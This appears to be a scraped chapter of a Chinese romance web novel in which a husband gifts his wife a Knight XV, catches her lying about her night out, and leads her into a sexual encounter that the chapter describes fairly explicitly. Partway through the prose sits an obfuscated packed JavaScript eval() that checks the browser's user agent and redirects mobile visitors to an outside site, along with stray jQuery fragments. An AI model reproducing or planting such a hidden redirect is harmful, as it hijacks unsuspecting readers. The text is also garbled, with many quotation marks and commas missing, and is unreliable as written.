第44章

作品:《情难自禁[先婚后爱]

    江棠梨哪里顾得上方以柠,一口气跑到了门口,视线刚一落到对面她那辆粉色的大G,就被旁边的庞然大物震在了原地。


    竟然是一辆只耳闻却没有亲眼见过的骑士15世。


    那令人震撼的体积直接让她“哇出一声,和旁边那辆大G一比,它简直如同一个巨大的保险柜。


    目光一寸一寸掠过粗狂霸气的车身,江棠梨往前迈的步子都被放慢了。


    从视频看到的威猛和现实一比,竟然如此的不值一提。


    这要是坐进去,视野得开阔成什么样?


    凝眸间,一道黑影从她眼前掠过,不等她反应过来,整个人就被举抱过地面。


    吓得江棠梨双手锤下:“喂,你谁啊!


    周围已经有不少双眼睛看过来。


    江棠梨只觉得面前一阵天旋地转,还没反应过来,自己就被抱坐在了那辆骑士15的车前盖上。


    看清面前的人脸,江棠梨惊讶到身子往后一躲:“你、你怎么......


    江棠梨还以为自己出了幻觉,抬头,正对着酒吧大门。


    所以他说的距离很近,不是等在她家门口,而是酒吧门口!


    陆时聿双臂撑在她身体两侧,灯红酒绿被他挺拔的身影笼罩在身后,却遮不住他眼底克制的薄凉。


    可江棠梨即便是居高临下地俯视着他,却也依然能感受到他迫人的气势,正四面八方地笼罩着她。甚至比身下这辆庞然大物都要震慑人心。


    当然,她心里跟明镜似的,知道陆时聿为何而生气。


    悄悄一个吞咽后,江棠梨压下满腔的心虚,娇着声儿地岔开话题:“不能坐别人的车,被看见了——


    只是不等她说完,话就被陆时聿打断:“你坐,就是你的。


    江棠梨彻底愣住了。


    她坐就是她的?


    哪有这种歪理?


    江棠梨双手撑着掌心下冰凉又坚硬的金属想往下滑,可是膝盖被他胸口抵着。


    “你快放我下来,万一车主来了......


    见她眼神乱瞄,陆时聿抬手捏住她下巴,将她的脸扳正,让她的视线里只有他。


    “心虚什么?


    怎么能不心虚,长这么大,只有被人坐她的车,她何曾——


    不对!


    江棠梨后知后觉反应过来他说的「心虚」是另有所指。


    不能怂,绝对不能怂!


    可是她现在何止双脚悬空,心脏也一整个地悬着。


    “你就这么想让我丢人是不是?


    陆时聿却不为所动,原本撑在车上的手搂上她腰。


    “坐自己的车,怎么就丢人了?


    自己的车?


    难不成这车是他的


    ?


    江棠梨眼皮跳了一下。


    如果是这样的话,那她刚刚理解错他的暗意了?


    他没有因为她撒谎而生气?


    “喜欢吗?陆时聿眼神往旁边短暂一掠后,又回到她脸上。


    江棠梨只觉心脏“咚的一声。


    “送、送我的?


    “不然呢?陆时聿眉梢一挑:“我还有第二个女人可以送?


    随着他话音落地,江棠梨猛然一扭身。


    可是高兴不过两秒,她就苦着一张脸转过来:“开这车,是不是需要B照啊?


    再多的醋意都被她满是哭腔的声音给淹没了。


    陆时聿搂着她的腰把她抱下来,却没放到地上。


    沉重的车门打开后,陆时聿双手一举,将她放到副驾驶里,不等江棠梨扭头去看车厢内饰,后颈就被强劲有力的指掌扣住了。


    江棠梨几乎半个人都被拉出了车外,猝不及防就要跌到他怀里,却被他的吻接住。


    起初的吻还温柔又克制,但是当他尝到了她唇齿间清淡的酒气,被他强压于心底的酸,被他努力克制的占有欲,全部被强行拽出。


    吻越来越深入。


    不知名的潮涌逐渐淹没了他的理智。


    他吻她几乎发了狠。


    而他原本有些凉的唇,因为带了掠夺,用了力道,犹如潮热的雨林,湿热里带出野性的蛮横。


    香津浓滑随着他入侵的舌而横扫缠绕在她的舌面,强烈的男性荷尔蒙气息,带着不容置喙的压迫,直面横冲而来。


    残留的一点意识里,江棠梨伸手去推他,却被他反手握住而扣于身后。


    偏偏这种反抗不成会让人兴奋,给人以刺激,也让人意识空白。


    江棠梨被他吻得全身发麻,脑袋晕乎乎的,不知是反抗不成还是迷失在他的强势霸道里,江棠梨逐渐放弃了挣扎,条件反射般地回吻回去。


    也正是因为她的主动,一点一点消磨了陆时聿的强势。


    握着她后颈的指掌稍稍松了力道,带着安抚,指腹摩挲着她发烫的皮肤,感觉到她呼吸不畅,他收回自己横冲直撞的舌,啄吻在她唇上,等她缓过来,他又开始进攻。


    若不是他有心让着她,江棠梨很难在他这里拿到主动权。


    不管是床下,还是床上。


    但是江棠梨是属于入戏慢,出戏也慢的人。


    偏偏陆时聿深知她这个短板,所以在江棠梨开始追着他吻上来的时候,陆时聿把脸往后一躲。


    江棠梨吻了个空。


    虽然口红已经被陆时聿吃了个干净,然而她的唇却比涂了口红还要娇艳。


    视线从她的唇一点一点掠到她眼,陆时聿唇角一提:“还没亲够?


    江棠梨半


    个身子都倾在车外所有的重心都压在攀着他肩膀的两只胳膊上以至于她想勾身回去都无能无力。


    当然若是陆时聿使坏江棠梨也势必会栽下去。


    但是江棠梨料定他舍不得。


    所以使坏的人变成了她。


    感觉到她撑力的臂肘往下一软陆时聿来不及多想瞬间往前迈了一步。


    原本可以借力坐回座椅里但江棠梨又一秒改变了主意。


    攀在他肩膀的两只胳膊抱住了他的脖子江棠梨低头在他唇上“mua”出一声。


    “就没亲够不行吗?”


    陆时聿偏开脸笑了。


    但是江棠梨并没有完全放松警惕毕竟在酒吧门口被他逮到就等于拆穿了她短信里所有的谎言。


    偏偏他从始至终一字不提。


    哪怕回去坐着另她无比激动和兴奋的骑士15世江棠梨都丝毫没敢把情绪表露出分毫。


    在她不知多少次余光偷瞄后陆时聿忍不住失笑一声:“有话就说。”


    是让她主动招供的意思吗?


    可是他都没生气更没发火或许是这点小谎对他来说不值一提已经抛到脑后了呢?


    那她再提不是没事找事吗?


    江棠梨弯下眉眼故作羞怯地又用余光瞄了他一眼:“就觉得......”她抿了抿唇:“你今晚好帅!”


    不跟她算账就好帅若是算了呢?


    怕是这帅就变成了丑。


    陆时聿无声失笑:“哪里帅了?”


    江棠梨天生一张张巧嘴若是真想夸人能把人夸到灵魂出窍可是坐在她旁边的男人不是一般人可不是三言两语就能让他忘了自己姓甚名谁。


    江棠梨抛开所有浮夸的形容词


    红灯车稳稳停下。


    陆时聿歪头看她。


    低垂的眉眼似咬似吮着唇肉下意识勾缠手指的动作。


    如果这些都是她为了分散他注意力的伎俩那只能说她江棠梨在哄人方面真的太有手腕了。


    可是不管哪种对陆时聿来说都不重要。


    他这人一向重结果至于过程......


    陆时聿很轻地笑了声:“晚饭吃了吗?”


    江棠梨这才轻掀眼皮正大光明地看了他一眼“吃了。”


    “吃了什么?”


    反正也没有比在酒吧被他逮到还要严重的。


    江棠梨实话实说:“在对面的烧烤店吃的。”


    她重点强调:“就我和方以柠两个人。”


    倒是没有说谎。


    陆时聿朝她勾了下手江棠梨忙把自己的手递过去。


    陆时聿包着她的手放在变速杆上


    中控距离有点宽江棠梨不由得往中间坐近了一些。


    她看着方形的变速杆不由得“哇”出一声:“感觉像是一个推土机。”


    绿灯亮沉重的车身缓缓起步。


    陆时聿问:“是给你放在京市开还是——”


    “当然是带回海市了!”


    她这一个星期才能回来一次的人把这么贵重的家伙丢在京市岂不是可惜。


    说完她又叹气:“可惜我不能亲自开。”


    “回去增到B照不就行了。”


    “B照诶——”江棠梨突然停顿了一下视线从他握着方向盘的手抬到他脸上:“你是B照啊?”


    “不然呢?”陆时聿回望她一眼。


    江棠梨嘴巴张了张:“那你岂不是客车和公交车都能开?”


    陆时聿失笑:“那是B1。”


    江棠梨愣了两秒:“所以你该不会是B2?”


    见他点头江棠梨说不出是惊还是吓:“所以那些重卡......你也能开?”


    能开是一回事会开是另一回事只是不等陆时聿开口——


    “我的天呐”江棠梨近乎尖叫:“你也太厉害了吧?”


    从未想过会因为一个驾照被她如神邸一样地看着。


    也正是她的眼神里让陆时聿回味过来她之前夸他帅并非本心。


    或者说在她心里再帅的一张脸都不如一张B2的驾照更有含金量。


    陆时聿很是无奈地笑出一声气音:“你关注的点真的...很特别。”


    特别到在她那双看过来的霍亮的眼睛里他已经无法再狠下心来跟她秋后算账。


    想想其实倒也没什么。


    只不过是在舞池了跳了半小时的舞既没有喝酒喝到酩酊大醉也没有和别的男人暧昧传情况且还是在自己的酒吧。


    陆时聿就这么被自己说服了。


    只是原本打算开去雍锦一号


    江棠梨也是一路没注意左摸摸又看看再一抬头车都开到自己家门口了。


    “你怎么带我回这儿来了?”


    陆时聿解开安全带:“这趟回来的目的不就是多陪陪父母吗第一天晚上就把你带走不好。”


    江棠梨:“......”


    谁要他这个时候的温柔体贴和细心呐这要是被爸爸看见......


    刚低头看一眼时间厚重的车门就被陆时聿打开了。


    他轻轻一击掌“抱你下来。”


    注意力就这么被他分散了。


    江棠梨嘴角抿笑整个人的重量往他怀里一扑。


    一直到门口陆时聿才把她放下来“时间已经很晚了一会儿进去声音小点。”


    哪里需要他提醒,江棠梨恨不得双脚不落地就飞上三楼。


    朝他比了个“OK的手势后,两人轻着声儿地穿过院子,不见二楼亮灯,江棠梨这才松了口气。


    “明早我们早点走,尽量赶在我爸妈起床之前。


    陆时聿皱了下眉:“为什么?


    当然是避免被老爸问出些不该问的。


    “我这不是回来后还没有去看望你爸妈吗,明天再不早点去就太不像话了。


    搂在她肩膀的手抬起,陆时聿揉了揉她发顶:“什么时候这么懂事了?


    只是没想到,两人刚踩上二楼平阶,就撞到江祈年从房间里出来。


    三个人几乎同时停步在了原地。


    一身浅灰色睡衣的江祈年看了眼陆时聿,眼睛眨了两下后,又看向江棠梨。


    “你不是说晚上在时聿那边过夜的吗,怎么又回来了?


    听到这话,陆时聿蹙眉看向旁边的人。


    江棠梨怎么都没想到自己会因为爸爸的一句话被打回了原形。


    这就是所谓的「人算不如天算吗」?


    她强扯嘴角,“就、就突然想回来了。


    陆时聿目光深深地望着她。


    以为她只是贪玩,充其量是晚归,却没想到她打的是一夜不归的主意。


    陆时聿牵着她手的手忽而一用力。


    江棠梨只觉心脏被攥紧了。


    生怕她这个老父亲再掀出她其他什么老底来,江棠梨抱着陆时聿胳膊就把他往楼上拽,一边拽,一边回头:“爸,我们去睡觉了啊~


    睡觉......


    江祈年只觉喉咙被什么卡住,再想开口,人都没影了。


    陆时聿几乎没怎么主动迈脚就到了三楼。


    穿过黑胶唱片装饰的廊道,还有各种水晶摆台和相框的起居室,以为她会直接带自己去卧室,却没想——


    江棠梨把他按坐在沙发里:“你先在这坐一会儿,我去给你拿睡衣。


    陆时聿抓住她手腕,把人往怀里一拽。


    感觉到他绷紧的大腿肌肉,江棠梨几乎都不敢把所有的重量往下沉。


    陆时聿视线紧锁在她脸上,两三分的探究之外,余下的全是等她主动招供的耐心。


    偏偏她双唇抿抿合合就是不出声。


    陆时聿屈起食指,用着既轻又缓的力度抬起她的下巴。


    直到视线与她相交。


    “两边一块瞒着,他声音裹着清淡的笑,“你倒是会骗。


    江棠梨只觉得后脊窜出一阵阵的凉气。


    “没、没有......


    陆时聿却仿若未闻,“如果今晚我没有出现,你准备睡哪?


    天大地大,还能没她一席之地吗?


    再说了


    ,她钱包鼓鼓的,何止是一席。


    可腹诽是腹诽。


    江棠梨两手抱着他胳膊,悄无声息地把他的手往下拉:“我还能去哪啊,当然是回家了。


    知道他在意的是爸爸的那句话。


    江棠梨忙解释


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614740|172190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“我之所以说去你那住,只是不想被他秋后算账,没别的意思。


    陆时聿嘴角携一缕玩味的笑:“你就不怕我知道了,跟你秋后算账?


    江棠梨:“......


    所以说人算不如天算,谁知这谎会在这么短的时间里一而再地被拆穿。


    所以她除了赔着笑脸,说说软话之外......


    倒也不是没有别的办法。


    江棠梨搂住他脖子:“我爸怎么能和你比,他是什么都不问一味地管着我,你不一样,你是讲道理的。


    但是他今晚也不是很想讲道理。


    陆时聿很轻地笑了下:“所以我在你心里印象...很好?


    “何止是很好,是顶好极好,再也没有人比你更好了!夸完,她还不忘亲了他一下,“别生气了~


    拖腔带调的不说,还晃着他的肩膀。


    陆时聿好整以暇地盯着她看,也不说话。


    虽然惹他不高兴已经不是第一次,但是这么低三下气地哄他,却是史无前例。


    要不是那几条短信让她愧疚难挡,江棠梨都想点在他胸口,警告一句:有个差不多就得了。


    可是她现在理亏又心虚,腰杆都挺不直。


    “老公~她豁出去了似的,唇沿着他的下颚线往耳廓吻,“都好晚了......


    她鼻息间的热息让陆时聿条件反射地偏了下脸。


    江棠梨一愣。


    他竟然躲。


    自己都主动成这样了,他竟然躲!


    哪还有半点的低三下四、委曲求全,江棠梨把他脸往自己面前一扳,动作强硬,声音却是软的。


    “上午问你,从你吻技就能看出来你没少谈过女朋友,我记得当时你好像还没回答吧?


    她话题的跳跃,让陆时聿眉心一卷,视线从她看似春水一般的眼睛到她嘴角的笑。


    这是想借机将今晚的事翻篇?


    “说吧,江棠梨指尖轻轻在他下颚线打着圈,“亲过多少?


    陆时聿一改刚刚的茫然,温润的声音带着笑:“你希望是多少?


    诡计多端的男人!


    竟然还不答反问。


    江棠梨把自己的重量沉进他怀里,带着他一起往后靠,“我要你说。


    可是他不说。


    江棠梨在他怀里扭了扭腰:“只要你实话实说,我保证不会生气的。


    怕是这个时候不管他怎么回答,都会成为她故意生气的理由。


    陆时聿扶着她的腰,“那你呢,亲过几个?”


    以陆时聿对她的了解,就算一个没有,她也会逞能地说出一两个来。


    但是他猜错了。


    “我在你心里就那么随便?”江棠梨在他怀里坐正了:“你就是这么看我的?”


    她声音里满是委屈的控诉,让陆时聿一时来不及深想其他。


    “你想哪里去了,我怎么会觉得你随便——”


    “那你还问我亲过几个?”她眼说红就红了:“我所有第一次都给你了,你还问我这种话!”


    她“呜”的一声站到了地上:“陆时聿,你没良心!”


    说完,她身子一转。


    陆时聿后知后觉她是在借机反将他一军。


    可即便是反应过来,他也坐不住了,几个大步追去了卧室。


    眼看江棠梨背身往床上一趟,还带出了呜咽声,陆时聿单手撑着床垫,另手晃了晃她肩:“梨梨?”


    江棠梨肩膀一抖,“别碰我!”


    气呼呼的声音里带着浓浓的哭腔,陆时聿压下嘴角的笑,几分蛮力加上巧劲,将她翻过身来。


    只是没想到,将她脸上的头发勾到耳后,却发现她眼睫是湿的。


    竟然还真哭了。


    心突然就软了。


    “为这点小事掉眼泪——”


    “小事?”原本还只是低低的呜咽,被他这么一说,江棠梨直接“呜哇”的一声,“你竟然、竟然说这是小事......”


    虽说她眼泪是真的,而他心疼也是真的,可这拙劣的哭戏是真的有待提高。


    “和你的眼泪比起来,还有什么能称得上大事?”


    哭声突然就止住了。


    江棠梨眨着她那双湿漉漉的眼睫,一边抽噎着,一边看他。


    原来吃甜言蜜语这一套。


    这是陆时聿没有想到的。


    像是额外惊喜,陆时聿低头吻在她额头,跟她秋后算账:“我单身三十年这个事,应该不算秘密吧?”


    江棠梨当然听说过不止一次,只是道听途说来的,真假度有待考究。


    “那你怎么那么会亲?”


    很会吗?


    若不是她几次提到这事,陆时聿丝毫不这么认为。


    他低头,唇贴着她唇:“有多会?”


    不知道是不是自己刚哭过,显得他唇凉凉的。


    像是盛夏里的冰块,让哭出汗的她,忍不住想贴得更近、更紧。


    可是相比清凉的温度,滚烫才更让人上瘾、甚至失控。


    脉搏向上的两只手腕被他掌心圈着压着,在松软的枕头里抵出两顶深深的漩涡。


    血液回流不畅的感觉,以为会不舒服,没想到却是酥酥麻麻的。


    可是血管连通全身,又让她分不


    清那隙在她骨头缝的酥麻到底来自哪里。


    只觉得手指无力,脚心泛痒。


    还有后颈,还有腰窝,哪哪都舒服,却又哪哪都不舒服。


    听到她哼出的音,陆时聿吻她颈窝的动作停了一瞬。


    接着,是一声很沉很哑,略有绷紧的笑。


    把江棠梨的脸笑出了难消的热度,她在他怀里拱了拱腰,“再笑你就睡沙发。”


    陆时聿在她颈窝里抬头,又在她脸前低头。


    鼻尖若有似无地蹭着她鼻尖。


    湿湿的,沁出了细密的一层汗。


    但是没有他指腹湿润,更不及捻起来那般黏滑。


    “那你呢?”他说话时潮热的呼吸自上而下笼罩着她:“要不要跟我一起?”


    江棠梨把脸一偏:“不要。”


    “不要...”陆时聿轻咬她唇峰:“真不要还是嘴硬不要?”


    江棠梨这才后知后觉他的一语双关,想抬起手腕砸他一拳,奈何还被他压在掌心下,动弹不得。


    真以为她拿他没办法了吗?


    江棠梨拱起腰上下一蹭。


    见他呼吸猛然一沉,江棠梨得逞地抬起下巴,只是没想到,下一秒,他的吻就如同三月春的雨一般,密集地落下。


    长到膝盖的裙摆一褶一褶地被堆高。


    吻带出的透明水痕留下丝缕清凉,又被贴紧的皮肤化出一片滚烫。


    陆时聿抱着她,深埋她侧颈的脸抬起时,谷欠火正浓的一双眼,没了平日里的温和,也没有礼貌待人时的距离。


    一开口,他声音像是被克制烧哑了。


    “用月退好不好?”